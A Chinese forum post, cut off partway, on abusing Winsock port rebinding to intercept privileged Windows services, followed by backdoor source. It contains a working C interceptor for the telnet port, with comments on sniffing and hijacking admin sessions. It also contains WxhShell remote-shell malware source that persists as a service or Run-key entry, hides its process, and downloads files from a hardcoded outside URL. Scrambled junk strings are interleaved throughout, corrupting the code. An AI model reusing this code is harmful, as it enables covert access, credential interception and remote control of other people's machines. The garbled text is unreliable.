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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y5{Vx{V"Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6?(yMSKa  
Y_zMj`HE  
  saddr.sin_family = AF_INET; c_4K  
(S~kNbIa  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }]i.z:7+  
FG!2h&k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |:w)$i& *  
I>EEUQR/$H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^UCH+C yl  
oGRd ;hsF  
  这意味着什么?意味着可以进行如下的攻击: 6gs0Vm  
B#DnU;=O#+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KAJR.YNm  
`r'$l<(4WV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =`ZRPA!aY  
hmkm^2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,njlKkFw^Z  
5OCt Q4u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $b~[>S-Q  
2@N9Zk{{J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZsNZ3;d@u(  
Z EK,Z['  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OO2uE ;( 3  
9Nw&l@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n$ rgJ  
Xub*i^(]  
  #include ,j6 R/sg  
  #include GT7&>}FJ)  
  #include k|,Y_h0Y  
  #include    _\.4ofK(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [l/!&6  
  int main() jF@BWPtF=  
  { ;}Ei #T,D  
  WORD wVersionRequested; 7gcR/HNeF  
  DWORD ret; ]Cs=EZr  
  WSADATA wsaData; uPq@6,+  
  BOOL val; _7z]zy@PC5  
  SOCKADDR_IN saddr; w4fQ~rcUIc  
  SOCKADDR_IN scaddr; jOU99X\0  
  int err; boI&q>-6Re  
  SOCKET s; hF{gN3v5  
  SOCKET sc; ,5V6=pr$  
  int caddsize; "=w:LRw  
  HANDLE mt; ,CI-IR2  
  DWORD tid;   q_6fr$-Qh  
  wVersionRequested = MAKEWORD( 2, 2 ); &b`'RZe  
  err = WSAStartup( wVersionRequested, &wsaData ); I 12Zh7Cc:  
  if ( err != 0 ) { 0 *;i]owV  
  printf("error!WSAStartup failed!\n"); *MS$C$HOq  
  return -1; 'A>?aUq]:  
  } E~#G_opQA  
  saddr.sin_family = AF_INET; O,Tp,w T  
   )Q62I\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Do77V5  
{ "M2V+ep  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ph%{h"  
  saddr.sin_port = htons(23); MhR`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c:e3hJ  
  { j^5YFUwsQg  
  printf("error!socket failed!\n"); H[nco#  
  return -1; 4/%fpU2  
  } ]tXIe?>9  
  val = TRUE; R:+'"dBge  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I-/>M/66  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) er5!n e  
  { n807?FORB  
  printf("error!setsockopt failed!\n"); 2Mk;r*FT  
  return -1; vQ* RrHG?c  
  } \I:27:iAL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V'e%%&g~N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wlxmp['Bh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :{N*Z}]  
l;KrFJ6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `kuu}YUi  
  { .Sn{a }XP4  
  ret=GetLastError(); ?$K-f:?c  
  printf("error!bind failed!\n"); >t.Lc.  
  return -1; z &X l  
  } E& .^|<n  
  listen(s,2); ~CT]&({  
  while(1) EYn?YiVFU  
  { ]7Du/)$  
  caddsize = sizeof(scaddr); _Iminet  
  //接受连接请求 X5YOxMq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :Rb\Ca  
  if(sc!=INVALID_SOCKET) 6FNGyvBU  
  { 'x{oAtCP9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {=3A@/vM  
  if(mt==NULL) triU^uvh  
  { <zR{'7L/  
  printf("Thread Creat Failed!\n"); }< H>9iJ:  
  break; bwzx_F/  
  } >U,&V%y  
  } ttUK~%wSx  
  CloseHandle(mt); wv\K  
  } 3!b $R?kZ  
  closesocket(s); h\UKm|BZ  
  WSACleanup(); lwq:0Rj@Q  
  return 0;  s[{[pIH  
  }   ~w3u(X$m"  
  DWORD WINAPI ClientThread(LPVOID lpParam) mP&\?  
  { CdF;0A9.3  
  SOCKET ss = (SOCKET)lpParam; QZ l#^-on  
  SOCKET sc; tO{{ci$-T  
  unsigned char buf[4096]; #Z1-+X8P  
  SOCKADDR_IN saddr; mA{?E9W  
  long num; udqrHR5  
  DWORD val; -$W1wb9z  
  DWORD ret; jcJ 4?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?).;cG:<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?)|}gr  
  saddr.sin_family = AF_INET; <4LJ #Fx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z )'9[t  
  saddr.sin_port = htons(23); `=H*4I-"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sko7,&  
  { ,)Q-o2(C  
  printf("error!socket failed!\n"); a$|U4Eqo  
  return -1; k}v`UiGM  
  } v1 8<~  
  val = 100; %jzTQ+.%]^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VIz(@  
  { A:< %>  
  ret = GetLastError(); kScZ P8yw  
  return -1; KE3`5Y!  
  } yuZLsH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u-t=M]  
  { |-x-CSN  
  ret = GetLastError(); n"htx|v  
  return -1; !CUl1L1DSi  
  } 8{jXSCP#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dhtH&:J< ;  
  { ).^d3Kp  
  printf("error!socket connect failed!\n"); ]UkH}Pt'3  
  closesocket(sc); UE'=9{o`  
  closesocket(ss); oj djy#:  
  return -1; A,.X  
  } @v%Kwe1Q  
  while(1) YbU8 xq  
  {  9!jPZn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Mwnr4$]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sv M\9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qUd7O](b=?  
  num = recv(ss,buf,4096,0); AB'+6QU9k  
  if(num>0) d$3rcH1  
  send(sc,buf,num,0); h p|v?3(  
  else if(num==0) &`I(QY  
  break; T&_&l;syA  
  num = recv(sc,buf,4096,0); #gQn3.PX+y  
  if(num>0) 3P6O]x<-?  
  send(ss,buf,num,0); %3a-@!|1<  
  else if(num==0) >Bb X:  
  break; L*Z.T^h  
  } 3[ [oAp  
  closesocket(ss); DzGUKJh6  
  closesocket(sc); }_'5Vb_  
  return 0 ; #SHeK 4  
  } R xMsP;be  
7<xnE]jdq  
}qiZ%cT.G  
========================================================== %XG m\p  
^xa, r#N:V  
下边附上一个代码,,WXhSHELL @q'kKVJs  
syR"p,3EC  
========================================================== 2|>\A.I|=  
9~Dg<wQ  
#include "stdafx.h" F-/z@tM  
m=01V5_  
#include <stdio.h> 1Z}5ykM3  
#include <string.h> .nD#:86M  
#include <windows.h> #-;c!<2  
#include <winsock2.h> *SNdU^!  
#include <winsvc.h> \P.h;|u  
#include <urlmon.h> /A7( `l;6  
r !Aj5  
#pragma comment (lib, "Ws2_32.lib") ~</FF'Xz  
#pragma comment (lib, "urlmon.lib") mU #F>  
+X/a+y-  
#define MAX_USER   100 // 最大客户端连接数 W'@ |ob  
#define BUF_SOCK   200 // sock buffer M- ^I!C  
#define KEY_BUFF   255 // 输入 buffer bp?5GU&Uy  
Q~ U\f$N  
#define REBOOT     0   // 重启 '|IcL1c=I  
#define SHUTDOWN   1   // 关机 l ;:IL\*1I  
yNns6  
#define DEF_PORT   5000 // 监听端口 (t-hi8"  
1tNL)x"w  
#define REG_LEN     16   // 注册表键长度 [ \_o_W  
#define SVC_LEN     80   // NT服务名长度 :.x(( FU  
^o3,YH  
// 从dll定义API eq6O6-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DC8#b`j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~*iF`T6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e#C v*i_<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zgAU5cw  
Pzso^^g  
// wxhshell配置信息 d)AYY}pw  
struct WSCFG { }:#WjH^  
  int ws_port;         // 监听端口 LL(xi )  
  char ws_passstr[REG_LEN]; // 口令 )=~&l={T  
  int ws_autoins;       // 安装标记, 1=yes 0=no NpH8=H9  
  char ws_regname[REG_LEN]; // 注册表键名 0zr27ko  
  char ws_svcname[REG_LEN]; // 服务名 x0<;Rm [u=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .#yg=t1C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EsGu#lD2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lMY\8eobcB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '3>;8(s l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XKjrS 9:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #%E`~&[  
*E/Bfp1LIe  
}; y*iZ;Bv j  
dOeM0_o  
// default Wxhshell configuration /whaY4__O\  
struct WSCFG wscfg={DEF_PORT, ,{0Y:/T'  
    "xuhuanlingzhe", K3!3[dR*  
    1, @Go_5X(  
    "Wxhshell", :TQp,CEa  
    "Wxhshell", Ixxs(  
            "WxhShell Service", Pm/<^z%  
    "Wrsky Windows CmdShell Service", xWG@<}H  
    "Please Input Your Password: ", ftYJ 3/WH  
  1, O*:87:I d  
  "http://www.wrsky.com/wxhshell.exe", Wu][A\3D1  
  "Wxhshell.exe" ZE=sw}=  
    }; +_]Ui| l  
(]#^q8)]\9  
// 消息定义模块 /I7V\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ugri _  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /z-rBfdy^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S8#0Vo$)a  
char *msg_ws_ext="\n\rExit."; 9\_s&p=:.  
char *msg_ws_end="\n\rQuit."; W[&nQW$E  
char *msg_ws_boot="\n\rReboot..."; <&E}db  
char *msg_ws_poff="\n\rShutdown..."; =2p?_.|'  
char *msg_ws_down="\n\rSave to "; Ypyi(_G(?>  
oYu xkG  
char *msg_ws_err="\n\rErr!"; O=o}uB-*6  
char *msg_ws_ok="\n\rOK!"; IBT>&(cnV  
T)zk2\u  
char ExeFile[MAX_PATH]; l?m"o-Gp3  
int nUser = 0; pQa51nc  
HANDLE handles[MAX_USER]; xTAfV N  
int OsIsNt; F1yn@a "=J  
)  ;0  
SERVICE_STATUS       serviceStatus; 9kD#'BxC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^)dsi  
CPJ<A,V  
// 函数声明 doanTF4Da  
int Install(void); |=}+%>y_  
int Uninstall(void); %L.S~dN6  
int DownloadFile(char *sURL, SOCKET wsh); >#G%2Vp  
int Boot(int flag); OWvblEBF  
void HideProc(void); G+c&e:ip<  
int GetOsVer(void); tYD8Y  
int Wxhshell(SOCKET wsl); ^OV; P[  
void TalkWithClient(void *cs); P'<i3#;7X  
int CmdShell(SOCKET sock); ` i[26Qb  
int StartFromService(void); 1TZ[i  
int StartWxhshell(LPSTR lpCmdLine); zb0NqIN:  
u2#q7}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ud/!@WG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v<1@"9EH  
84(Jo_9  
// 数据结构和表定义 (@^9oN~}  
SERVICE_TABLE_ENTRY DispatchTable[] = 45JL{YRN  
{ s$#64"F  
{wscfg.ws_svcname, NTServiceMain}, tb&?BCp  
{NULL, NULL} 9 /H~hEVK  
}; s-CAo~,  
iWt%Boyi  
// 自我安装 [(n5-#1S  
int Install(void) \n_7+[=E  
{ L0![SE>  
  char svExeFile[MAX_PATH]; [Hx}#Kds  
  HKEY key; !RKuEg4hQ  
  strcpy(svExeFile,ExeFile); 3/RwCtc  
gT8(LDJ  
// 如果是win9x系统,修改注册表设为自启动 )q<VZ|V  
if(!OsIsNt) { WM+8<|)n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s\d3u`G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FS"Ja`>j~  
  RegCloseKey(key); I=L[ "]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0ca0-vY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mlByE,S2E  
  RegCloseKey(key); $oW= N   
  return 0; C@qWour  
    } ':4ny]F  
  } 4u5j 7`O  
} ]O|>nTa  
else { 0/ QDfA?  
5RLO}Vn]  
// 如果是NT以上系统,安装为系统服务 Szz j9K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;<i u*a  
if (schSCManager!=0) |Y"XxM9  
{ Pim  
  SC_HANDLE schService = CreateService j([b)k=  
  ( 5]i#l3")  
  schSCManager, !>Nlp,r&~  
  wscfg.ws_svcname, 'fn}I0Vc  
  wscfg.ws_svcdisp, t]&.'n,  
  SERVICE_ALL_ACCESS, j)@W1I]2#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CAc]SxLh  
  SERVICE_AUTO_START, AON |b\?  
  SERVICE_ERROR_NORMAL, ~?NCmU=3  
  svExeFile, !/}4_s`,  
  NULL, /o4_rzR?  
  NULL, UA.Tp[u  
  NULL, s~,!E  
  NULL, JlSqTfA  
  NULL yD<#Q\,  
  ); t3$cX_  
  if (schService!=0) 6@|!m'  
  { 91z=ou  
  CloseServiceHandle(schService); jZIT[HM  
  CloseServiceHandle(schSCManager); /[6wm1?!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'Ft81e)/  
  strcat(svExeFile,wscfg.ws_svcname); XB'rh F8rl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oN}\bK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :awa  
  RegCloseKey(key); E zcch1  
  return 0; "*zDb|v  
    } Q^{TcL8  
  } g(P7CX+y  
  CloseServiceHandle(schSCManager); /,I?"&FWc  
} 2@(+l*.Q  
} *c#DB{N  
|e8A)xM]wC  
return 1; (U5XB [r_P  
} vT5GUO{5  
b$2=w^*  
// 自我卸载 3~`\FuHHe  
int Uninstall(void) xDe^>(,"  
{ rE*yT(:w  
  HKEY key; `_yksh3zL4  
y6am(ugE  
if(!OsIsNt) { Q8HNST($?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0^{Tq0Ri[  
  RegDeleteValue(key,wscfg.ws_regname); !o| ex+z;  
  RegCloseKey(key); f.ua,,P.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -~.+3rcZ]  
  RegDeleteValue(key,wscfg.ws_regname); tic3a1  
  RegCloseKey(key); 8+!G /p  
  return 0; UVXruH  
  } e[k\VYj[  
} Fz8& Jn!  
} e|A=sCN-  
else { %w_MRC  
!T`g\za/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~a=]w#-KD  
if (schSCManager!=0) AYNz {9  
{ <!dZ=9^^ 1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~RLjL"  
  if (schService!=0) pe[huYE  
  { wOUCe#P|r  
  if(DeleteService(schService)!=0) { '!X`X=  
  CloseServiceHandle(schService); :TrP3wV _  
  CloseServiceHandle(schSCManager); '\H & EJ'  
  return 0; '1!%yKc0  
  } S%p,.0_  
  CloseServiceHandle(schService); lxTqGwx  
  } bIt{kzuQC  
  CloseServiceHandle(schSCManager); qUe2(/TQu  
} _u-tRHh|A  
} 0lt1/PEKx2  
\ bNDeA&l  
return 1; z V $Z@o  
} @ &c@  
!/2kJOSp  
// 从指定url下载文件 (N}\Wft%  
int DownloadFile(char *sURL, SOCKET wsh) 2P57C;N8|  
{ 7TX$  
  HRESULT hr; Q-_;.xy#4  
char seps[]= "/"; a&)$s;  
char *token; !G;BYr>X  
char *file;  OG IN-  
char myURL[MAX_PATH]; 6#d+BBKIc  
char myFILE[MAX_PATH]; Md:*[]<~  
 0Ns Po  
strcpy(myURL,sURL); )$Fw<;4  
  token=strtok(myURL,seps); @ 6jKjI  
  while(token!=NULL) #SLi v  
  { `5t~ Vlp  
    file=token; 99h#M3@!  
  token=strtok(NULL,seps); /\jRr7 Cd  
  } -?T|1FA,  
^-# :T  
GetCurrentDirectory(MAX_PATH,myFILE); vO{[P# L}  
strcat(myFILE, "\\"); 1i Y?t  
strcat(myFILE, file); Z _<Wr7D  
  send(wsh,myFILE,strlen(myFILE),0); -% B)+yq>  
send(wsh,"...",3,0); k<*1mS8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,J*#Ixe}  
  if(hr==S_OK) a;7gy419<p  
return 0; blV'-Al  
else d#,   
return 1; TGPdi5Eq  
iaJN~m\ M  
} _#UhXXD  
z<"\I60Fe  
// 系统电源模块 U,/9fzgd  
int Boot(int flag) ;hDIoSz  
{ $>~4RXC  
  HANDLE hToken; mpCKF=KL.  
  TOKEN_PRIVILEGES tkp; (j}Wt8  
i#lO{ ]  
  if(OsIsNt) { t;%MSedn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AK;G_L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lp||C@h~  
    tkp.PrivilegeCount = 1; [0NH#88ym<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <CP't[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >>7m'-k%D  
if(flag==REBOOT) { $_Lcw"xO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \4q1<j  
  return 0; e3&.RrA  
} ZONe}tv:  
else { VN4H+9E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) & V/t0  
  return 0; 8-vNXvl  
} 5|[\Se#  
  } BYDOTy/%nJ  
  else { oX]c$<w5  
if(flag==REBOOT) { X15e~;&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u|8V7*)3  
  return 0; < uzDuBN  
} -/qu."9(B  
else { ErMA$UkJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rUF= uO(  
  return 0; Y'LIk Q\  
} g60r m1b  
} 2ap0/l[  
7+p=4i^@Zs  
return 1; h "r)z6Q/  
} wvSaq+N  
0/%VejZ'  
// win9x进程隐藏模块 R75np^  
void HideProc(void) :] +D+[c)  
{ zw X 1&rN  
w0t||qj^>"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4THGHS^  
  if ( hKernel != NULL ) ?Da!QH >,]  
  { 8BJ&"y8H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3m`y?Dd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [^-DFq5@  
    FreeLibrary(hKernel);  t"'aQr  
  } Y_&)>;  
C}GOwvAL>  
return; H]W59-{a  
} Ih0kd i  
ZA4vQDW  
// 获取操作系统版本 n.xW"omN  
int GetOsVer(void) *9Nq^+  
{ Yf(QU`w_  
  OSVERSIONINFO winfo; Go_~8w0<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); djcC m5m  
  GetVersionEx(&winfo); 1vBXO bk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pEE.%U  
  return 1; 2V#(1Hc!  
  else . ),m7"u|  
  return 0; _gF )aE  
} Dx27s  
f?A*g$v  
// 客户端句柄模块 i/U HDqZ  
int Wxhshell(SOCKET wsl) i~6qOlLD-  
{ &<sDbN S  
  SOCKET wsh; j!P]xl0vOZ  
  struct sockaddr_in client; H6XlSj  
  DWORD myID; 'e>0*hF[  
] T! >]  
  while(nUser<MAX_USER) }A`4ae=  
{ M1T)e9k=x  
  int nSize=sizeof(client); 3 tp'}v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B@Q Ate7   
  if(wsh==INVALID_SOCKET) return 1; 4`7:gfrO,  
h~ =UFE%'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]MP6VT  
if(handles[nUser]==0) @ zE>n  
  closesocket(wsh); x;Jy-hMNl  
else xV4 #_1(  
  nUser++; _ZfJfd~  
  } rBZ 0(XSZQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FHS6Mk26  
y  ZsC>  
  return 0; n_51-^* z  
} 64>o3Hb2  
/-l7GswF  
// 关闭 socket $;dSM<r  
void CloseIt(SOCKET wsh) ]I#yS=;  
{ Tn qspS2;R  
closesocket(wsh); =5jX#Dc5.+  
nUser--; qffXm `k  
ExitThread(0); !(soMv  
} ["\Y-6"l  
x\Bl^1&  
// 客户端请求句柄 q(J3fjY)  
void TalkWithClient(void *cs) nDS mr  
{ (JHL0Z/  
8rXu^  
  SOCKET wsh=(SOCKET)cs; H1>}E5^?  
  char pwd[SVC_LEN]; ~ b ;%J:  
  char cmd[KEY_BUFF]; v'*#P7%Kf  
char chr[1]; z17x%jXy  
int i,j; ^[SQw)*  
N4Z%8:"pj  
  while (nUser < MAX_USER) { spV/+jy{  
9 BPucXK  
if(wscfg.ws_passstr) { #AzZ4<;7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2#:h.8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7W6tz\Y  
  //ZeroMemory(pwd,KEY_BUFF); DDT)l+:XP  
      i=0; d([NU;  
  while(i<SVC_LEN) { ;5A  
< 6[XE  
  // 设置超时 lUd/^u`  
  fd_set FdRead; Ms.1RCup  
  struct timeval TimeOut; `)FSJV1  
  FD_ZERO(&FdRead); (8u.Xbdh  
  FD_SET(wsh,&FdRead); 3eqnc),Z  
  TimeOut.tv_sec=8; )Ab!R:4  
  TimeOut.tv_usec=0; F{a--  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y8uB>z+#+;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t/\J  
Y=l91dxGI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Kxc$c  
  pwd=chr[0]; +^ n\?!  
  if(chr[0]==0xd || chr[0]==0xa) { j^}p'w Tu{  
  pwd=0; yT<yy>J9l#  
  break; C#`VVtei  
  } Lf|5miO  
  i++; z!quA7s<]  
    } PK@hf[YHe  
B(x i  
  // 如果是非法用户,关闭 socket ^<#08L;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _ 6"!y ]Q  
} 0!YB.=\{_q  
< ) L'h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f\FubL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9pD=E>4?#  
uI^E9r/hB  
while(1) { Bkvh]k;F8  
qh!2dj  
  ZeroMemory(cmd,KEY_BUFF); Np=IZ npt  
mdW8RsR  
      // 自动支持客户端 telnet标准   6C>"H  
  j=0; c8I : jDk:  
  while(j<KEY_BUFF) { Nh7+Vl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A\9Q gM  
  cmd[j]=chr[0]; R87-L*9B^0  
  if(chr[0]==0xa || chr[0]==0xd) { xwr<ib:  
  cmd[j]=0; i>w'$ {  
  break; >L F y:a  
  } !N--  
  j++; y~CK&[H  
    } o;+$AU1f  
;ZMm6o  
  // 下载文件 s+;J`_M  
  if(strstr(cmd,"http://")) { ^| L@f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GE]cH6E  
  if(DownloadFile(cmd,wsh)) fX=o,=-f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZtPq */'  
  else yES+0D5<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z;GR(;w/  
  } C=& 7V  
  else { ) # le|Rf  
pZ?7'+u$L  
    switch(cmd[0]) { ~wmc5L/!?  
  x}t,v.:  
  // 帮助 ^W|B Xxo  
  case '?': { 1@*qz\ YY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @Omgk=6  
    break; 5|>FM&  
  } (he cvJ  
  // 安装 7/nnl0u8  
  case 'i': { dYdZt<6W<(  
    if(Install()) &L[oQni];2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ],l w  
    else n4Od4&r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E^z\b *  
    break; E_-3G<rt  
    } >h+[#3vD  
  // 卸载 K]4XD1n7  
  case 'r': { V3 j1M?>  
    if(Uninstall()) ns|)VX   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&R^J;W$M1  
    else CPssk,q~C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }!=}g|z#|  
    break; R0dIxG%  
    } Uf#.b2]  
  // 显示 wxhshell 所在路径 UV}\#86!  
  case 'p': { UX3 ]cr  
    char svExeFile[MAX_PATH]; /,v>w,  
    strcpy(svExeFile,"\n\r"); wg<UCmfu!  
      strcat(svExeFile,ExeFile); %$K2$dq5  
        send(wsh,svExeFile,strlen(svExeFile),0); "L yMw){  
    break; #-b0U[,.  
    } Ve,h]/G  
  // 重启 acd8?>%[  
  case 'b': { <T?H H$es)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P%`|Tu!B  
    if(Boot(REBOOT)) "iFA&$\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jiS|ara"  
    else { Vsh7>|@  
    closesocket(wsh); s ~'><ioh  
    ExitThread(0); H'N$Vv2q  
    } CG!/Lbd  
    break; Q>qx? g  
    } u~MD?!LV  
  // 关机 ~ZbEKqni2  
  case 'd': { VJ1(|v{D4[  
